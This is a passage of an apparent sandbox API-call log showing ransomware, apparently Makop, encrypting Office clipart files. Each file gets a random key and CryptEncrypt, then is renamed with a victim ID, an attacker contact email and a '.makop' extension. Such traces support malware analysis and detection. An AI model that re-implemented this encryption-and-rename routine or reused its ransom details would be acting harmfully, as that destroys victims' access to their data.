WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.420] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.420] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.420] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.420] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.420] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.421] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.421] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.421] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x13ea, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x13ea, lpOverlapped=0x0) returned 1 [0113.422] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13f0, dwBufLen=0x13f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13f0) returned 1 [0113.422] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.422] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x13f0, lpOverlapped=0x0) returned 1 [0113.422] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.422] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x14c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.422] SetEndOfFile (hFile=0xf0) returned 1 [0113.429] GetProcessHeap () returned 0x48a0000 [0113.429] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.429] GetProcessHeap () returned 0x48a0000 [0113.429] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.429] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.429] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.431] CloseHandle (hObject=0xf0) returned 1 [0113.431] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4d9a300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4d9a300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x22de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00455_.WMF", cAlternateFileName="")) returned 1 [0113.431] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0113.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.432] GetProcessHeap () returned 0x48a0000 [0113.432] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.432] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.432] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.432] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0113.436] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.436] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.436] GetProcessHeap () returned 0x48a0000 [0113.436] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.437] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.437] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.437] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.437] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.437] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.437] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.437] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.437] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.437] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.438] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.438] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.438] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x22de, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x22de, lpOverlapped=0x0) returned 1 [0113.439] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x22e0, dwBufLen=0x22e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x22e0) returned 1 [0113.439] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.439] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x22e0, lpOverlapped=0x0) returned 1 [0113.440] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.440] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x23b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.440] SetEndOfFile (hFile=0xf0) returned 1 [0113.447] GetProcessHeap () returned 0x48a0000 [0113.447] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.447] GetProcessHeap () returned 0x48a0000 [0113.447] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.447] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.447] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.448] CloseHandle (hObject=0xf0) returned 1 [0113.449] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3a87600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3a87600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x43fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00459_.WMF", cAlternateFileName="")) returned 1 [0113.449] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0113.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.449] GetProcessHeap () returned 0x48a0000 [0113.449] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.449] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.449] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.449] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0113.454] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.454] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.454] GetProcessHeap () returned 0x48a0000 [0113.454] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.454] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.454] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.454] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.454] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.454] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.455] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.455] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.455] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.455] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.455] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.455] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.455] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x43fe, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x43fe, lpOverlapped=0x0) returned 1 [0113.458] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4400, dwBufLen=0x4400 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4400) returned 1 [0113.458] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.458] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4400, lpOverlapped=0x0) returned 1 [0113.458] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.458] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x44d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.459] SetEndOfFile (hFile=0xf0) returned 1 [0113.465] GetProcessHeap () returned 0x48a0000 [0113.465] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.465] GetProcessHeap () returned 0x48a0000 [0113.465] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.465] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.465] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.466] CloseHandle (hObject=0xf0) returned 1 [0113.466] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2774900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2774900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00543_.WMF", cAlternateFileName="")) returned 1 [0113.466] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0113.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.467] GetProcessHeap () returned 0x48a0000 [0113.467] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.467] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.467] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.468] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.468] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.468] GetProcessHeap () returned 0x48a0000 [0113.468] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.468] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.468] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.468] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.472] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.472] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.472] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.472] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.472] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.472] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.473] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.473] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.473] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5c0, lpOverlapped=0x0) returned 1 [0113.473] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c0) returned 1 [0113.473] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.473] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5c0, lpOverlapped=0x0) returned 1 [0113.473] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.473] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.473] SetEndOfFile (hFile=0xf0) returned 1 [0113.480] GetProcessHeap () returned 0x48a0000 [0113.480] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.480] GetProcessHeap () returned 0x48a0000 [0113.480] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.480] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.482] CloseHandle (hObject=0xf0) returned 1 [0113.482] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf50d3100, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf50d3100, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x148c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00544_.WMF", cAlternateFileName="")) returned 1 [0113.482] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0113.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.484] GetProcessHeap () returned 0x48a0000 [0113.484] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.484] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.484] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.484] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.488] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.488] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.488] GetProcessHeap () returned 0x48a0000 [0113.489] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.489] CryptEncrypt (in: hKey=0x48c7128, 